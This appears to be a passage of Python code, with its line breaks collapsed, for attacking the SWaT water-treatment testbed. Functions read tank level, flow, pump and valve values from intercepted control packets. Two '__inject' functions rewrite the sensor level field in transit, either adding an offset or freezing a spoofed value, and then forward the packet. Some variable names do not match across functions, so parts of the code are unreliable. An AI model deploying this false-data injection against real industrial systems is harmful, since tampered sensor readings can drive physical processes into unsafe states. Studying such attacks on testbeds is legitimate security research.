def get_model_parameters(packet): if SWAT_P1_RIO_AI in packet: global _rlevel, _flow l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level) l = current_to_signal(l.value, P1Level) f = ctypes.c_short(packet[SWAT_P1_RIO_AI].flow) _flow = current_to_signal(f.value, P1Flow) _rlevel = l * 0.001 if SWAT_P1_RIO_DI in packet: global _pump1_in, _pump _valve = packet[SWAT_P1_RIO_DI].valve_open _pump = packet[SWAT_P1_RIO_DI].pump1_run
def read_real_level(packet): if SWAT_P1_RIO_AI in packet: l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level).value slevel = ctypes.c_short(packet[SWAT_P1_RIO_AI].level) l = current_to_signal(slevel.value, P1Level) global _olevel, _elevel, _is_first_pck _olevel = l * 0.001 if _is_first_pck: _elevel = _olevel _is_first_pck = False
def __inject(packet): pkt = IP(packet.get_payload()) if SWAT_P1_RIO_AI in pkt: slevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) slevel += max_attack if slope_sign else -max_attack level = signal_to_current(slevel, P1Level) pkt[SWAT_P1_RIO_AI].level = level del pkt[UDP].chksum # Need to recompute checksum packet.set_payload(str(pkt)) packet.accept()
def params(): state = 'Open' if _valve_in else 'Close' value = 1 if _valve_in else 0 print('Valve state: {} ({})'.format(state, value)) state = 'Open' if _valve_out else 'Close' value = 1 if _valve_out else 0 print('Valve control: {} ({})'.format(state, value)) state = 'On' if _pump1_in else 'Off' value = 1 if _pump1_in else 0 print('Pump1 state: {} ({})'.format(state, value)) state = 'On' if _pump1_out else 'Off' value = 1 if _pump1_out else 0 print('Pump1 control: {} ({})'.format(state, value)) state = 'Open' if _pump2_in else 'Off' value = 1 if _pump2_in else 0 print('Pump2 state: {} ({})'.format(state, value)) state = 'On' if _pump2_out else 'Off' value = 1 if _pump2_out else 0 print('Pump2 control: {} ({})'.format(state, value)) sflow = current_to_signal(_flow_in, P1Flow) print('Flow: {} m^2/h ({})'.format(sflow, _flow_in)) slevel = current_to_signal(_level_in, P1Level) print('Level: {} mm ({})'.format(slevel, _level_in))
def __inject(packet): pkt = IP(packet.get_payload()) if SWAT_P1_RIO_AI in pkt: global _elevel, _alevel, _is_first_pck if _is_first_pck: _elevel = _alevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) / 1000 thread.start() _is_first_pck = False alevel = signal_to_current(_alevel * 1000, P1Level) pkt[SWAT_P1_RIO_AI].level = alevel del pkt[UDP].chksum # Need to recompute checksum packet.set_payload(str(pkt)) packet.accept()